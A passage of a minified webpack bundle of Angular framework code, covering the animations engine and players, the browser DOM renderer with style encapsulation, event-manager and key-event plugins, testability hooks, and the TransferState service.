qi(Te,y,D)}(Le,o1,this._normalizer),this._triggerCache[yt]=Mt}this._transitionEngine.registerTrigger(D,Le,Mt)}register(y,D){this._transitionEngine.register(y,D)}destroy(y,D){this._transitionEngine.destroy(y,D)}onInsert(y,D,Z,Le){this._transitionEngine.insertNode(y,D,Z,Le)}onRemove(y,D,Z,Le){this._transitionEngine.removeNode(y,D,Le||!1,Z)}disableAnimations(y,D){this._transitionEngine.markElementAsDisabled(y,D)}process(y,D,Z,Le){if("@"==Z.charAt(0)){const[rt,yt]=ct(Z);this._timelineEngine.command(rt,D,yt,Le)}else this._transitionEngine.trigger(y,D,Z,Le)}listen(y,D,Z,Le,rt){if("@"==Z.charAt(0)){const[yt,Mt]=ct(Z);return this._timelineEngine.listen(yt,D,Mt,rt)}return this._transitionEngine.listen(y,D,Z,Le,rt)}flush(y=-1){this._transitionEngine.flush(y)}get players(){return this._transitionEngine.players.concat(this._timelineEngine.players)}whenRenderingDone(){return this._transitionEngine.whenRenderingDone()}}let v2=(()=>{class Te{constructor(D,Z,Le){this._element=D,this._startStyles=Z,this._endStyles=Le,this._state=0;let rt=Te.initialStylesByElement.get(D);rt||Te.initialStylesByElement.set(D,rt=new Map),this._initialStyles=rt}start(){this._state<1&&(this._startStyles&&Ee(this._element,this._startStyles,this._initialStyles),this._state=1)}finish(){this.start(),this._state<2&&(Ee(this._element,this._initialStyles),this._endStyles&&(Ee(this._element,this._endStyles),this._endStyles=null),this._state=1)}destroy(){this.finish(),this._state<3&&(Te.initialStylesByElement.delete(this._element),this._startStyles&&(at(this._element,this._startStyles),this._endStyles=null),this._endStyles&&(at(this._element,this._endStyles),this._endStyles=null),Ee(this._element,this._initialStyles),this._state=3)}}return Te.initialStylesByElement=new WeakMap,Te})();function xn(Te){let y=null;return Te.forEach((D,Z)=>{(function D2(Te){return"display"===Te||"position"===Te})(Z)&&(y=y||new Map,y.set(Z,D))}),y}class Qn{constructor(y,D,Z,Le){this.element=y,this.keyframes=D,this.options=Z,this._specialStyles=Le,this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this._initialized=!1,this._finished=!1,this._started=!1,this._destroyed=!1,this._originalOnDoneFns=[],this._originalOnStartFns=[],this.time=0,this.parentPlayer=null,this.currentSnapshot=new Map,this._duration=Z.duration,this._delay=Z.delay||0,this.time=this._duration+this._delay}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(y=>y()),this._onDoneFns=[])}init(){this._buildPlayer(),this._preparePlayerBeforeStart()}_buildPlayer(){if(this._initialized)return;this._initialized=!0;const y=this.keyframes;this.domPlayer=this._triggerWebAnimation(this.element,y,this.options),this._finalKeyframe=y.length?y[y.length-1]:new Map,this.domPlayer.addEventListener("finish",()=>this._onFinish())}_preparePlayerBeforeStart(){this._delay?this._resetDomPlayerState():this.domPlayer.pause()}_convertKeyframesToObject(y){const D=[];return y.forEach(Z=>{D.push(Object.fromEntries(Z))}),D}_triggerWebAnimation(y,D,Z){return y.animate(this._convertKeyframesToObject(D),Z)}onStart(y){this._originalOnStartFns.push(y),this._onStartFns.push(y)}onDone(y){this._originalOnDoneFns.push(y),this._onDoneFns.push(y)}onDestroy(y){this._onDestroyFns.push(y)}play(){this._buildPlayer(),this.hasStarted()||(this._onStartFns.forEach(y=>y()),this._onStartFns=[],this._started=!0,this._specialStyles&&this._specialStyles.start()),this.domPlayer.play()}pause(){this.init(),this.domPlayer.pause()}finish(){this.init(),this._specialStyles&&this._specialStyles.finish(),this._onFinish(),this.domPlayer.finish()}reset(){this._resetDomPlayerState(),this._destroyed=!1,this._finished=!1,this._started=!1,this._onStartFns=this._originalOnStartFns,this._onDoneFns=this._originalOnDoneFns}_resetDomPlayerState(){this.domPlayer&&this.domPlayer.cancel()}restart(){this.reset(),this.play()}hasStarted(){return this._started}destroy(){this._destroyed||(this._destroyed=!0,this._resetDomPlayerState(),this._onFinish(),this._specialStyles&&this._specialStyles.destroy(),this._onDestroyFns.forEach(y=>y()),this._onDestroyFns=[])}setPosition(y){void 0===this.domPlayer&&this.init(),this.domPlayer.currentTime=y*this.time}getPosition(){return this.domPlayer.currentTime/this.time}get totalTime(){return this._delay+this._duration}beforeDestroy(){const y=new Map;this.hasStarted()&&this._finalKeyframe.forEach((Z,Le)=>{"offset"!==Le&&y.set(Le,this._finished?Z:on(this.element,Le))}),this.currentSnapshot=y}triggerCallback(y){const D="start"===y?this._onStartFns:this._onDoneFns;D.forEach(Z=>Z()),D.length=0}}class w2{validateStyleProperty(y){return!0}validateAnimatableStyleProperty(y){return!0}matchesElement(y,D){return!1}containsElement(y,D){return Xe(y,D)}getParentElement(y){return Pt(y)}query(y,D,Z){return it(y,D,Z)}computeStyle(y,D,Z){return window.getComputedStyle(y)[D]}animate(y,D,Z,Le,rt,yt=[]){const Ft={duration:Z,delay:Le,fill:0==Le?"both":"forwards"};rt&&(Ft.easing=rt);const Ut=new Map,o1=yt.filter(A1=>A1 instanceof Qn);(function gn(Te,y){return 0===Te||0===y})(Z,Le)&&o1.forEach(A1=>{A1.currentSnapshot.forEach((C1,S1)=>Ut.set(S1,C1))});let l1=function Ct(Te){return Te.length?Te[0]instanceof Map?Te:Te.map(y=>mt(y)):[]}(D).map(A1=>pt(A1));l1=function nn(Te,y,D){if(D.size&&y.length){let Z=y[0],Le=[];if(D.forEach((rt,yt)=>{Z.has(yt)||Le.push(yt),Z.set(yt,rt)}),Le.length)for(let rt=1;rt<y.length;rt++){let yt=y[rt];Le.forEach(Mt=>yt.set(Mt,on(Te,Mt)))}}return y}(y,l1,Ut);const F1=function Vn(Te,y){let D=null,Z=null;return Array.isArray(y)&&y.length?(D=xn(y[0]),y.length>1&&(Z=xn(y[y.length-1]))):y instanceof Map&&(D=xn(y)),D||Z?new v2(Te,D,Z):null}(y,l1);return new Qn(y,l1,Ft,F1)}}var c2=d(6895);let ye=(()=>{class Te extends s._j{constructor(D,Z){super(),this._nextAnimationId=0,this._renderer=D.createRenderer(Z.body,{id:"0",encapsulation:n.ifc.None,styles:[],data:{animation:[]}})}build(D){const Z=this._nextAnimationId.toString();this._nextAnimationId++;const Le=Array.isArray(D)?(0,s.vP)(D):D;return L(this._renderer,null,Z,"register",[Le]),new st(Z,this._renderer)}}return Te.\\u0275fac=function(D){return new(D||Te)(n.LFG(n.FYo),n.LFG(c2.K0))},Te.\\u0275prov=n.Yz7({token:Te,factory:Te.\\u0275fac}),Te})();class st extends s.LC{constructor(y,D){super(),this._id=y,this._renderer=D}create(y,D){return new I(this._id,y,D||{},this._renderer)}}class I{constructor(y,D,Z,Le){this.id=y,this.element=D,this._renderer=Le,this.parentPlayer=null,this._started=!1,this.totalTime=0,this._command("create",Z)}_listen(y,D){return this._renderer.listen(this.element,`@@${this.id}:${y}`,D)}_command(y,...D){return L(this._renderer,this.element,this.id,y,D)}onDone(y){this._listen("done",y)}onStart(y){this._listen("start",y)}onDestroy(y){this._listen("destroy",y)}init(){this._command("init")}hasStarted(){return this._started}play(){this._command("play"),this._started=!0}pause(){this._command("pause")}restart(){this._command("restart")}finish(){this._command("finish")}destroy(){this._command("destroy")}reset(){this._command("reset"),this._started=!1}setPosition(y){this._command("setPosition",y)}getPosition(){return this._renderer.engine.players[+this.id]?.getPosition()??0}}function L(Te,y,D,Z,Le){return Te.setProperty(y,`@@${D}:${Z}`,Le)}const T="@",ue="@.disabled";let gt=(()=>{class Te{constructor(D,Z,Le){this.delegate=D,this.engine=Z,this._zone=Le,this._currentId=0,this._microtaskId=1,this._animationCallbacksBuffer=[],this._rendererCache=new Map,this._cdRecurDepth=0,this.promise=Promise.resolve(0),Z.onRemovalComplete=(rt,yt)=>{const Mt=yt?.parentNode(rt);Mt&&yt.removeChild(Mt,rt)}}createRenderer(D,Z){const rt=this.delegate.createRenderer(D,Z);if(!(D&&Z&&Z.data&&Z.data.animation)){let o1=this._rendererCache.get(rt);return o1||(o1=new Ot("",rt,this.engine,()=>this._rendererCache.delete(rt)),this._rendererCache.set(rt,o1)),o1}const yt=Z.id,Mt=Z.id+"-"+this._currentId;this._currentId++,this.engine.register(Mt,D);const Ft=o1=>{Array.isArray(o1)?o1.forEach(Ft):this.engine.registerTrigger(yt,Mt,D,o1.name,o1)};return Z.data.animation.forEach(Ft),new Jt(this,Mt,rt,this.engine)}begin(){this._cdRecurDepth++,this.delegate.begin&&this.delegate.begin()}_scheduleCountTask(){this.promise.then(()=>{this._microtaskId++})}scheduleListenerCallback(D,Z,Le){D>=0&&D<this._microtaskId?this._zone.run(()=>Z(Le)):(0==this._animationCallbacksBuffer.length&&Promise.resolve(null).then(()=>{this._zone.run(()=>{this._animationCallbacksBuffer.forEach(rt=>{const[yt,Mt]=rt;yt(Mt)}),this._animationCallbacksBuffer=[]})}),this._animationCallbacksBuffer.push([Z,Le]))}end(){this._cdRecurDepth--,0==this._cdRecurDepth&&this._zone.runOutsideAngular(()=>{this._scheduleCountTask(),this.engine.flush(this._microtaskId)}),this.delegate.end&&this.delegate.end()}whenRenderingDone(){return this.engine.whenRenderingDone()}}return Te.\\u0275fac=function(D){return new(D||Te)(n.LFG(n.FYo),n.LFG(si),n.LFG(n.R0b))},Te.\\u0275prov=n.Yz7({token:Te,factory:Te.\\u0275fac}),Te})();class Ot{constructor(y,D,Z,Le){this.namespaceId=y,this.delegate=D,this.engine=Z,this._onDestroy=Le,this.destroyNode=this.delegate.destroyNode?rt=>D.destroyNode(rt):null}get data(){return this.delegate.data}destroy(){this.engine.destroy(this.namespaceId,this.delegate),this.delegate.destroy(),this._onDestroy?.()}createElement(y,D){return this.delegate.createElement(y,D)}createComment(y){return this.delegate.createComment(y)}createText(y){return this.delegate.createText(y)}appendChild(y,D){this.delegate.appendChild(y,D),this.engine.onInsert(this.namespaceId,D,y,!1)}insertBefore(y,D,Z,Le=!0){this.delegate.insertBefore(y,D,Z),this.engine.onInsert(this.namespaceId,D,y,Le)}removeChild(y,D,Z){this.engine.onRemove(this.namespaceId,D,this.delegate,Z)}selectRootElement(y,D){return this.delegate.selectRootElement(y,D)}parentNode(y){return this.delegate.parentNode(y)}nextSibling(y){return this.delegate.nextSibling(y)}setAttribute(y,D,Z,Le){this.delegate.setAttribute(y,D,Z,Le)}removeAttribute(y,D,Z){this.delegate.removeAttribute(y,D,Z)}addClass(y,D){this.delegate.addClass(y,D)}removeClass(y,D){this.delegate.removeClass(y,D)}setStyle(y,D,Z,Le){this.delegate.setStyle(y,D,Z,Le)}removeStyle(y,D,Z){this.delegate.removeStyle(y,D,Z)}setProperty(y,D,Z){D.charAt(0)==T&&D==ue?this.disableAnimations(y,!!Z):this.delegate.setProperty(y,D,Z)}setValue(y,D){this.delegate.setValue(y,D)}listen(y,D,Z){return this.delegate.listen(y,D,Z)}disableAnimations(y,D){this.engine.disableAnimations(y,D)}}class Jt extends Ot{constructor(y,D,Z,Le,rt){super(D,Z,Le,rt),this.factory=y,this.namespaceId=D}setProperty(y,D,Z){D.charAt(0)==T?"."==D.charAt(1)&&D==ue?this.disableAnimations(y,Z=void 0===Z||!!Z):this.engine.process(this.namespaceId,y,D.slice(1),Z):this.delegate.setProperty(y,D,Z)}listen(y,D,Z){if(D.charAt(0)==T){const Le=function Tt(Te){switch(Te){case"body":return document.body;case"document":return document;case"window":return window;default:return Te}}(y);let rt=D.slice(1),yt="";return rt.charAt(0)!=T&&([rt,yt]=function t1(Te){const y=Te.indexOf(".");return[Te.substring(0,y),Te.slice(y+1)]}(rt)),this.engine.listen(this.namespaceId,Le,rt,yt,Mt=>{this.factory.scheduleListenerCallback(Mt._data||-1,Z,Mt)})}return this.delegate.listen(y,D,Z)}}const Bn=[{provide:s._j,useClass:ye},{provide:dn,useFactory:function an(){return new Hn}},{provide:si,useClass:(()=>{class Te extends si{constructor(D,Z,Le,rt){super(D.body,Z,Le)}ngOnDestroy(){this.flush()}}return Te.\\u0275fac=function(D){return new(D||Te)(n.LFG(c2.K0),n.LFG(Gt),n.LFG(dn),n.LFG(n.z2F))},Te.\\u0275prov=n.Yz7({token:Te,factory:Te.\\u0275fac}),Te})()},{provide:n.FYo,useFactory:function W1(Te,y,D){return new gt(Te,y,D)},deps:[a.se,si,n.R0b]}],Dn=[{provide:Gt,useFactory:()=>new w2},{provide:n.QbO,useValue:"BrowserAnimations"},...Bn],sn=[{provide:Gt,useClass:Vt},{provide:n.QbO,useValue:"NoopAnimations"},...Bn];let Yn=(()=>{class Te{static withConfig(D){return{ngModule:Te,providers:D.disableAnimations?sn:Dn}}}return Te.\\u0275fac=function(D){return new(D||Te)},Te.\\u0275mod=n.oAB({type:Te}),Te.\\u0275inj=n.cJS({providers:Dn,imports:[a.b2]}),Te})()},1481:(At,ae,d)=>{"use strict";d.d(ae,{Cb:()=>Fe,Cu:()=>Re,Dx:()=>Xe,H7:()=>nt,b2:()=>x,ki:()=>be,q6:()=>Dt,se:()=>Qe});var n=d(6895),a=d(4650);class s extends n.w_{constructor(){super(...arguments),this.supportsDOMEvents=!0}}class u extends s{static makeCurrent(){(0,n.HT)(new u)}onAndCancel(ot,Ne,ut){return ot.addEventListener(Ne,ut,!1),()=>{ot.removeEventListener(Ne,ut,!1)}}dispatchEvent(ot,Ne){ot.dispatchEvent(Ne)}remove(ot){ot.parentNode&&ot.parentNode.removeChild(ot)}createElement(ot,Ne){return(Ne=Ne||this.getDefaultDocument()).createElement(ot)}createHtmlDocument(){return document.implementation.createHTMLDocument("fakeTitle")}getDefaultDocument(){return document}isElementNode(ot){return ot.nodeType===Node.ELEMENT_NODE}isShadowRoot(ot){return ot instanceof DocumentFragment}getGlobalEventTarget(ot,Ne){return"window"===Ne?window:"document"===Ne?ot:"body"===Ne?ot.body:null}getBaseHref(ot){const Ne=function f(){return c=c||document.querySelector("base"),c?c.getAttribute("href"):null}();return null==Ne?null:function _(Se){E=E||document.createElement("a"),E.setAttribute("href",Se);const ot=E.pathname;return"/"===ot.charAt(0)?ot:`/${ot}`}(Ne)}resetBaseElement(){c=null}getUserAgent(){return window.navigator.userAgent}getCookie(ot){return(0,n.Mx)(document.cookie,ot)}}let E,c=null;const S=new a.OlP("TRANSITION_ID"),C=[{provide:a.ip1,useFactory:function g(Se,ot,Ne){return()=>{Ne.get(a.CZH).donePromise.then(()=>{const ut=(0,n.q)(),Rt=ot.querySelectorAll(`style[ng-transition="${Se}"]`);for(let Zt=0;Zt<Rt.length;Zt++)ut.remove(Rt[Zt])})}},deps:[S,n.K0,a.zs3],multi:!0}];let H=(()=>{class Se{build(){return new XMLHttpRequest}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();const j=new a.OlP("EventManagerPlugins");let U=(()=>{class Se{constructor(Ne,ut){this._zone=ut,this._eventNameToPlugin=new Map,Ne.forEach(Rt=>{Rt.manager=this}),this._plugins=Ne.slice().reverse()}addEventListener(Ne,ut,Rt){return this._findPluginFor(ut).addEventListener(Ne,ut,Rt)}addGlobalEventListener(Ne,ut,Rt){return this._findPluginFor(ut).addGlobalEventListener(Ne,ut,Rt)}getZone(){return this._zone}_findPluginFor(Ne){const ut=this._eventNameToPlugin.get(Ne);if(ut)return ut;const Rt=this._plugins;for(let Zt=0;Zt<Rt.length;Zt++){const a1=Rt[Zt];if(a1.supports(Ne))return this._eventNameToPlugin.set(Ne,a1),a1}throw new Error(`No event manager plugin found for event ${Ne}`)}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(j),a.LFG(a.R0b))},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();class G{constructor(ot){this._doc=ot}addGlobalEventListener(ot,Ne,ut){const Rt=(0,n.q)().getGlobalEventTarget(this._doc,ot);if(!Rt)throw new Error(`Unsupported event target ${Rt} for event ${Ne}`);return this.addEventListener(Rt,Ne,ut)}}let Q=(()=>{class Se{constructor(){this.usageCount=new Map}addStyles(Ne){for(const ut of Ne)1===this.changeUsageCount(ut,1)&&this.onStyleAdded(ut)}removeStyles(Ne){for(const ut of Ne)0===this.changeUsageCount(ut,-1)&&this.onStyleRemoved(ut)}onStyleRemoved(Ne){}onStyleAdded(Ne){}getAllStyles(){return this.usageCount.keys()}changeUsageCount(Ne,ut){const Rt=this.usageCount;let Zt=Rt.get(Ne)??0;return Zt+=ut,Zt>0?Rt.set(Ne,Zt):Rt.delete(Ne),Zt}ngOnDestroy(){for(const Ne of this.getAllStyles())this.onStyleRemoved(Ne);this.usageCount.clear()}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})(),oe=(()=>{class Se extends Q{constructor(Ne){super(),this.doc=Ne,this.styleRef=new Map,this.hostNodes=new Set,this.resetHostNodes()}onStyleAdded(Ne){for(const ut of this.hostNodes)this.addStyleToHost(ut,Ne)}onStyleRemoved(Ne){const ut=this.styleRef;ut.get(Ne)?.forEach(Zt=>Zt.remove()),ut.delete(Ne)}ngOnDestroy(){super.ngOnDestroy(),this.styleRef.clear(),this.resetHostNodes()}addHost(Ne){this.hostNodes.add(Ne);for(const ut of this.getAllStyles())this.addStyleToHost(Ne,ut)}removeHost(Ne){this.hostNodes.delete(Ne)}addStyleToHost(Ne,ut){const Rt=this.doc.createElement("style");Rt.textContent=ut,Ne.appendChild(Rt);const Zt=this.styleRef.get(ut);Zt?Zt.push(Rt):this.styleRef.set(ut,[Rt])}resetHostNodes(){const Ne=this.hostNodes;Ne.clear(),Ne.add(this.doc.head)}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(n.K0))},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();const Ce={svg:"http://www.w3.org/2000/svg",xhtml:"http://www.w3.org/1999/xhtml",xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/",math:"http://www.w3.org/1998/MathML/"},k=/%COMP%/g,ce=new a.OlP("RemoveStylesOnCompDestory",{providedIn:"root",factory:()=>!1});function le(Se,ot){return ot.flat(100).map(Ne=>Ne.replace(k,Se))}function Oe(Se){return ot=>{if("__ngUnwrap__"===ot)return Se;!1===Se(ot)&&(ot.preventDefault(),ot.returnValue=!1)}}let Qe=(()=>{class Se{constructor(Ne,ut,Rt,Zt){this.eventManager=Ne,this.sharedStylesHost=ut,this.appId=Rt,this.removeStylesOnCompDestory=Zt,this.rendererByCompId=new Map,this.defaultRenderer=new Ye(Ne)}createRenderer(Ne,ut){if(!Ne||!ut)return this.defaultRenderer;const Rt=this.getOrCreateRenderer(Ne,ut);return Rt instanceof De?Rt.applyToHost(Ne):Rt instanceof ze&&Rt.applyStyles(),Rt}getOrCreateRenderer(Ne,ut){const Rt=this.rendererByCompId;let Zt=Rt.get(ut.id);if(!Zt){const a1=this.eventManager,_1=this.sharedStylesHost,G1=this.removeStylesOnCompDestory;switch(ut.encapsulation){case a.ifc.Emulated:Zt=new De(a1,_1,ut,this.appId,G1);break;case a.ifc.ShadowDom:return new bt(a1,_1,Ne,ut);default:Zt=new ze(a1,_1,ut,G1)}Zt.onDestroy=()=>Rt.delete(ut.id),Rt.set(ut.id,Zt)}return Zt}ngOnDestroy(){this.rendererByCompId.clear()}begin(){}end(){}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(U),a.LFG(oe),a.LFG(a.AFp),a.LFG(ce))},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();class Ye{constructor(ot){this.eventManager=ot,this.data=Object.create(null),this.destroyNode=null}destroy(){}createElement(ot,Ne){return Ne?document.createElementNS(Ce[Ne]||Ne,ot):document.createElement(ot)}createComment(ot){return document.createComment(ot)}createText(ot){return document.createTextNode(ot)}appendChild(ot,Ne){(dt(ot)?ot.content:ot).appendChild(Ne)}insertBefore(ot,Ne,ut){ot&&(dt(ot)?ot.content:ot).insertBefore(Ne,ut)}removeChild(ot,Ne){ot&&ot.removeChild(Ne)}selectRootElement(ot,Ne){let ut="string"==typeof ot?document.querySelector(ot):ot;if(!ut)throw new Error(`The selector "${ot}" did not match any elements`);return Ne||(ut.textContent=""),ut}parentNode(ot){return ot.parentNode}nextSibling(ot){return ot.nextSibling}setAttribute(ot,Ne,ut,Rt){if(Rt){Ne=Rt+":"+Ne;const Zt=Ce[Rt];Zt?ot.setAttributeNS(Zt,Ne,ut):ot.setAttribute(Ne,ut)}else ot.setAttribute(Ne,ut)}removeAttribute(ot,Ne,ut){if(ut){const Rt=Ce[ut];Rt?ot.removeAttributeNS(Rt,Ne):ot.removeAttribute(`${ut}:${Ne}`)}else ot.removeAttribute(Ne)}addClass(ot,Ne){ot.classList.add(Ne)}removeClass(ot,Ne){ot.classList.remove(Ne)}setStyle(ot,Ne,ut,Rt){Rt&(a.JOm.DashCase|a.JOm.Important)?ot.style.setProperty(Ne,ut,Rt&a.JOm.Important?"important":""):ot.style[Ne]=ut}removeStyle(ot,Ne,ut){ut&a.JOm.DashCase?ot.style.removeProperty(Ne):ot.style[Ne]=""}setProperty(ot,Ne,ut){ot[Ne]=ut}setValue(ot,Ne){ot.nodeValue=Ne}listen(ot,Ne,ut){return"string"==typeof ot?this.eventManager.addGlobalEventListener(ot,Ne,Oe(ut)):this.eventManager.addEventListener(ot,Ne,Oe(ut))}}function dt(Se){return"TEMPLATE"===Se.tagName&&void 0!==Se.content}class bt extends Ye{constructor(ot,Ne,ut,Rt){super(ot),this.sharedStylesHost=Ne,this.hostEl=ut,this.shadowRoot=ut.attachShadow({mode:"open"}),this.sharedStylesHost.addHost(this.shadowRoot);const Zt=le(Rt.id,Rt.styles);for(const a1 of Zt){const _1=document.createElement("style");_1.textContent=a1,this.shadowRoot.appendChild(_1)}}nodeOrShadowRoot(ot){return ot===this.hostEl?this.shadowRoot:ot}appendChild(ot,Ne){return super.appendChild(this.nodeOrShadowRoot(ot),Ne)}insertBefore(ot,Ne,ut){return super.insertBefore(this.nodeOrShadowRoot(ot),Ne,ut)}removeChild(ot,Ne){return super.removeChild(this.nodeOrShadowRoot(ot),Ne)}parentNode(ot){return this.nodeOrShadowRoot(super.parentNode(this.nodeOrShadowRoot(ot)))}destroy(){this.sharedStylesHost.removeHost(this.shadowRoot)}}class ze extends Ye{constructor(ot,Ne,ut,Rt,Zt=ut.id){super(ot),this.sharedStylesHost=Ne,this.removeStylesOnCompDestory=Rt,this.rendererUsageCount=0,this.styles=le(Zt,ut.styles)}applyStyles(){this.sharedStylesHost.addStyles(this.styles),this.rendererUsageCount++}destroy(){this.removeStylesOnCompDestory&&(this.sharedStylesHost.removeStyles(this.styles),this.rendererUsageCount--,0===this.rendererUsageCount&&this.onDestroy?.())}}class De extends ze{constructor(ot,Ne,ut,Rt,Zt){const a1=Rt+"-"+ut.id;super(ot,Ne,ut,Zt,a1),this.contentAttr=function je(Se){return"_ngcontent-%COMP%".replace(k,Se)}(a1),this.hostAttr=function Ze(Se){return"_nghost-%COMP%".replace(k,Se)}(a1)}applyToHost(ot){this.applyStyles(),this.setAttribute(ot,this.hostAttr,"")}createElement(ot,Ne){const ut=super.createElement(ot,Ne);return super.setAttribute(ut,this.contentAttr,""),ut}}let re=(()=>{class Se extends G{constructor(Ne){super(Ne)}supports(Ne){return!0}addEventListener(Ne,ut,Rt){return Ne.addEventListener(ut,Rt,!1),()=>this.removeEventListener(Ne,ut,Rt)}removeEventListener(Ne,ut,Rt){return Ne.removeEventListener(ut,Rt)}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(n.K0))},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();const ve=["alt","control","meta","shift"],We={"\\b":"Backspace","\\t":"Tab","\\x7f":"Delete","\\x1b":"Escape",Del:"Delete",Esc:"Escape",Left:"ArrowLeft",Right:"ArrowRight",Up:"ArrowUp",Down:"ArrowDown",Menu:"ContextMenu",Scroll:"ScrollLock",Win:"OS"},xt={alt:Se=>Se.altKey,control:Se=>Se.ctrlKey,meta:Se=>Se.metaKey,shift:Se=>Se.shiftKey};let Be=(()=>{class Se extends G{constructor(Ne){super(Ne)}supports(Ne){return null!=Se.parseEventName(Ne)}addEventListener(Ne,ut,Rt){const Zt=Se.parseEventName(ut),a1=Se.eventCallback(Zt.fullKey,Rt,this.manager.getZone());return this.manager.getZone().runOutsideAngular(()=>(0,n.q)().onAndCancel(Ne,Zt.domEventName,a1))}static parseEventName(Ne){const ut=Ne.toLowerCase().split("."),Rt=ut.shift();if(0===ut.length||"keydown"!==Rt&&"keyup"!==Rt)return null;const Zt=Se._normalizeKey(ut.pop());let a1="",_1=ut.indexOf("code");if(_1>-1&&(ut.splice(_1,1),a1="code."),ve.forEach(gn=>{const nn=ut.indexOf(gn);nn>-1&&(ut.splice(nn,1),a1+=gn+".")}),a1+=Zt,0!=ut.length||0===Zt.length)return null;const G1={};return G1.domEventName=Rt,G1.fullKey=a1,G1}static matchEventFullKeyCode(Ne,ut){let Rt=We[Ne.key]||Ne.key,Zt="";return ut.indexOf("code.")>-1&&(Rt=Ne.code,Zt="code."),!(null==Rt||!Rt)&&(Rt=Rt.toLowerCase()," "===Rt?Rt="space":"."===Rt&&(Rt="dot"),ve.forEach(a1=>{a1!==Rt&&(0,xt[a1])(Ne)&&(Zt+=a1+".")}),Zt+=Rt,Zt===ut)}static eventCallback(Ne,ut,Rt){return Zt=>{Se.matchEventFullKeyCode(Zt,Ne)&&Rt.runGuarded(()=>ut(Zt))}}static _normalizeKey(Ne){return"esc"===Ne?"escape":Ne}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(n.K0))},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();const Dt=(0,a.eFA)(a._c5,"browser",[{provide:a.Lbi,useValue:n.bD},{provide:a.g9A,useValue:function _e(){u.makeCurrent()},multi:!0},{provide:n.K0,useFactory:function Je(){return(0,a.RDi)(document),document},deps:[]}]),Pt=new a.OlP(""),Ie=[{provide:a.rWj,useClass:class z{addToWindow(ot){a.dqk.getAngularTestability=(ut,Rt=!0)=>{const Zt=ot.findTestabilityInTree(ut,Rt);if(null==Zt)throw new Error("Could not find testability for element.");return Zt},a.dqk.getAllAngularTestabilities=()=>ot.getAllTestabilities(),a.dqk.getAllAngularRootElements=()=>ot.getAllRootElements(),a.dqk.frameworkStabilizers||(a.dqk.frameworkStabilizers=[]),a.dqk.frameworkStabilizers.push(ut=>{const Rt=a.dqk.getAllAngularTestabilities();let Zt=Rt.length,a1=!1;const _1=function(G1){a1=a1||G1,Zt--,0==Zt&&ut(a1)};Rt.forEach(function(G1){G1.whenStable(_1)})})}findTestabilityInTree(ot,Ne,ut){return null==Ne?null:ot.getTestability(Ne)??(ut?(0,n.q)().isShadowRoot(Ne)?this.findTestabilityInTree(ot,Ne.host,!0):this.findTestabilityInTree(ot,Ne.parentElement,!0):null)}},deps:[]},{provide:a.lri,useClass:a.dDg,deps:[a.R0b,a.eoX,a.rWj]},{provide:a.dDg,useClass:a.dDg,deps:[a.R0b,a.eoX,a.rWj]}],te=[{provide:a.zSh,useValue:"root"},{provide:a.qLn,useFactory:function ct(){return new a.qLn},deps:[]},{provide:j,useClass:re,multi:!0,deps:[n.K0,a.R0b,a.Lbi]},{provide:j,useClass:Be,multi:!0,deps:[n.K0]},{provide:Qe,useClass:Qe,deps:[U,oe,a.AFp,ce]},{provide:a.FYo,useExisting:Qe},{provide:Q,useExisting:oe},{provide:oe,useClass:oe,deps:[n.K0]},{provide:U,useClass:U,deps:[j,a.R0b]},{provide:n.JF,useClass:H,deps:[]},[]];let x=(()=>{class Se{constructor(Ne){}static withServerTransition(Ne){return{ngModule:Se,providers:[{provide:a.AFp,useValue:Ne.appId},{provide:S,useExisting:a.AFp},C]}}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(Pt,12))},Se.\\u0275mod=a.oAB({type:Se}),Se.\\u0275inj=a.cJS({providers:[...te,...Ie],imports:[n.ez,a.hGG]}),Se})(),Xe=(()=>{class Se{constructor(Ne){this._doc=Ne}getTitle(){return this._doc.title}setTitle(Ne){this._doc.title=Ne||""}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(n.K0))},Se.\\u0275prov=a.Yz7({token:Se,factory:function(Ne){let ut=null;return ut=Ne?new Ne:function ie(){return new Xe((0,a.LFG)(n.K0))}(),ut},providedIn:"root"}),Se})();function Fe(Se){return Se}typeof window<"u"&&window;let be=(()=>{class Se{constructor(){this.store={},this.onSerializeCallbacks={},this.store=function Pe(Se,ot){const Ne=Se.getElementById(ot+"-state");let ut={};if(Ne&&Ne.textContent)try{ut=JSON.parse(function kt(Se){const ot={"&a;":"&","&q;":\'"\',"&s;":"\'","&l;":"<","&g;":">"};return Se.replace(/&[^;]+;/g,Ne=>ot[Ne])}(Ne.textContent))}catch(Rt){console.warn("Exception while restoring TransferState for app "+ot,Rt)}return ut}((0,a.f3M)(n.K0),(0,a.f3M)(a.AFp))}get(Ne,ut){return void 0!==this.store[Ne]?this.store[Ne]:ut}set(Ne,ut){this.store[Ne]=ut}remove(Ne){delete this.store[Ne]}hasKey(Ne){return this.store.hasOwnProperty(Ne)}get isEmpty(){return 0===Object.keys(this.store).length}onSerialize(Ne,ut){this.onSerializeCallbacks[Ne]=ut}toJson(){for(const Ne in this.onSerializeCallbacks)if(this.onSerializeCallbacks.hasOwnProperty(Ne))try{this.store[Ne]=this.onSerializeCallbacks[Ne]()}catch(ut){console.warn("Exception in onSerialize callback: ",ut)}return JSON.stringify(this.store)}}return Se.\\u0275fac=function(Ne){return 